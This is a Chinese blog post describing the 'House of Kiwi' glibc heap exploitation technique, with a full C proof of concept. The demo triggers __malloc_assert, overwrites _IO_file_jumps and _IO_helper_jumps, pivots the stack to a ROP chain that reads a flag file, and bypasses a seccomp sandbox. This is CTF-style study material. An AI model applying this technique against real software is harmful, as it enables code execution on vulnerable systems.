House of Kiwi

0x00 背景

这两天调内核的cve实在是被恶心到了,针对问题也去请教了师傅,今天是调不下去了。

在2.29以后由于setcontext中的rdi改为rdx寄存器,需要gadgets将rdi->rdx:

常见的一个操作是劫持malloc_hook为setcontext的gadgets,以及劫持IO_list_all单链表中的指针在exit结束中,在_IO_cleanup函数会进行缓冲区的刷新,从而读取flag

但是如果将exit函数替换成_exit函数,最终结束的时候,则是进行了syscall来结束:

并没有机会调用_IO_cleanup,若再将malloc_hook和free_hook给禁了,且在输入和输出都用read和write的情况下,无法通过IO刷新缓冲区进行调用,这时候就涉及到ptmalloc源码里面了。

0x01 使用场景

1.能够触发__malloc_assert,通常是堆溢出导致
2.能够任意写,修改_IO_file_sync和IO_helper_jumps + 0xA0 and 0xA8

接下来一步一步跟进:

第一步:__malloc_assert:

第二步:fflush:其中会调用_IO_file_jumps中的sync指针

如何触发assert?在_int_malloc中存在一个 assert (chunk_main_arena (bck->bk));位置可以触发,此外当top_chunk的大小不够分配时,则会进入sysmalloc中

  assert ((old_top == initial_top (av) && old_size == 0) ||
          ((unsigned long) (old_size) >= MINSIZE &&
           prev_inuse (old_top) &&
           ((unsigned long) old_end & (pagesize - 1)) == 0));

检查topchunk的size和flags:

1.old_size >= 0x20
2.old_top.prev_inuse = 0
3.old_top页对齐

如果存在一个任意写,通过修改 _IO_file_jumps + 0x60的_IO_file_sync指针为setcontext+61修改IO_helper_jumps + 0xA0 and 0xA8分别为可迁移的存放有ROP的位置和ret指令的gadget位置,则可以进行栈迁移

0x02 调试

环境ubuntu20.04

// Ubuntu 20.04, GLIBC 2.32_Ubuntu2.2
//gcc demo.c -o main -z noexecstack -fstack-protector-all -pie -z now -masm=intel
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <unistd.h>
#include <sys/prctl.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#define pop_rdi_ret libc_base + 0x000000000002858F
#define pop_rdx_r12 libc_base + 0x0000000000114161
#define pop_rsi_ret libc_base + 0x000000000002AC3F
#define pop_rax_ret libc_base + 0x0000000000045580
#define syscall_ret libc_base + 0x00000000000611EA
#define ret pop_rdi_ret+1
size_t libc_base;
size_t ROP[0x30];
char FLAG[0x100] = "./flag.txt\x00";
void sandbox()
{
    prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
    struct sock_filter sfi[] ={
        {0x20,0x00,0x00,0x00000004},
        {0x15,0x00,0x05,0xC000003E},
        {0x20,0x00,0x00,0x00000000},
        {0x35,0x00,0x01,0x40000000},
        {0x15,0x00,0x02,0xFFFFFFFF},
        {0x15,0x01,0x00,0x0000003B},
        {0x06,0x00,0x00,0x7FFF0000},
        {0x06,0x00,0x00,0x00000000}
    };
    struct sock_fprog sfp = {8, sfi};
    prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &sfp);
}

void setROP()
{
    uint32_t i = 0;
    ROP[i++] = pop_rax_ret;
    ROP[i++] = 2;
    ROP[i++] = pop_rdi_ret;
    ROP[i++] = (size_t)FLAG;
    ROP[i++] = pop_rsi_ret;
    ROP[i++] = 0;
    ROP[i++] = syscall_ret;
    ROP[i++] = pop_rdi_ret;
    ROP[i++] = 3;
    ROP[i++] = pop_rdx_r12;
    ROP[i++] = 0x100;
    ROP[i++] = 0;
    ROP[i++] = pop_rsi_ret;
    ROP[i++] = (size_t)(FLAG + 0x10);
    ROP[i++] = (size_t)read;
    ROP[i++] = pop_rdi_ret;
    ROP[i++] = 1;
    ROP[i++] = (size_t)write;
}
int main() {
    setvbuf(stdin,0LL,2,0LL);
    setvbuf(stdout,0LL,2,0LL);
    setvbuf(stderr,0LL,2,0LL);
    sandbox();
    libc_base  = ((size_t)setvbuf) - 0x81630;
    printf("LIBC:\t%#lx\n",libc_base);

    size_t magic_gadget = libc_base + 0x53030 + 61; // setcontext + 61
    size_t IO_helper = libc_base + 0x1E48C0; // _IO_hel
    per_jumps;
    size_t SYNC = libc_base + 0x1E5520; // sync pointer in _IO_file_jumps
    setROP();
    *((size_t*)IO_helper + 0xA0/8) = ROP; // 设置rsp
    *((size_t*)IO_helper + 0xA8/8) = ret; // 设置rcx 即 程序setcontext运行完后会首先调用的指令地址
    *((size_t*)SYNC) = magic_gadget; // 设置fflush(stderr)中调用的指令地址
    // 触发assert断言,通过large bin chunk的size中flag位修改,或者top chunk的inuse写0等方法可以触发assert
    size_t *top_size = (size_t*)((char*)malloc(0x10) + 0x18);
    *top_size = (*top_size)&0xFFE; // top_chunk size改小并将inuse写0,当top chunk不足的时候,会进入sysmalloc中,其中有个判断top_chunk的size中inuse位是否存在
    malloc(0x1000); // 触发assert
    _exit(-1);
}

看到old_size>0x20,pre_inuse=0,(2b0+0xd50)&0xfff=0

调用sync的函数指针

这个利用方法好处在于不用再用gadget将rdi赋值给rdx,其实整体利用的要求还是挺高的,拓宽一个思路

0x03 参考

House OF Kiwi


  Reprint policy: xiaoxin House of Kiwi

 Previous
CVE-2021-24093 Windows图形组件远程执行代码漏洞分析 CVE-2021-24093 Windows图形组件远程执行代码漏洞分析
0x00 前言Windows图形组件DWrite库是用于高质量文本呈现的用户模式动态库,DWrite库存在远程代码执行漏洞。目前已有POC,POC可以实现任意地址写任意内容。 0x01 漏洞信息漏洞简述漏洞名称:Windows图形组件远程执
2021-04-15
Next 
CVE-2017-11543 tcpdump越界访问漏洞 CVE-2017-11543 tcpdump越界访问漏洞
0x01 漏洞描述tcpdump 是 Linux 上一个强大的网络数据采集分析工具,其 4.9.0 版本的 sliplink_print 函数(位于 print-sl.c)中存在一个栈溢出漏洞,原因是程序在进行内存存取的操作前未对一些值做判
  TOC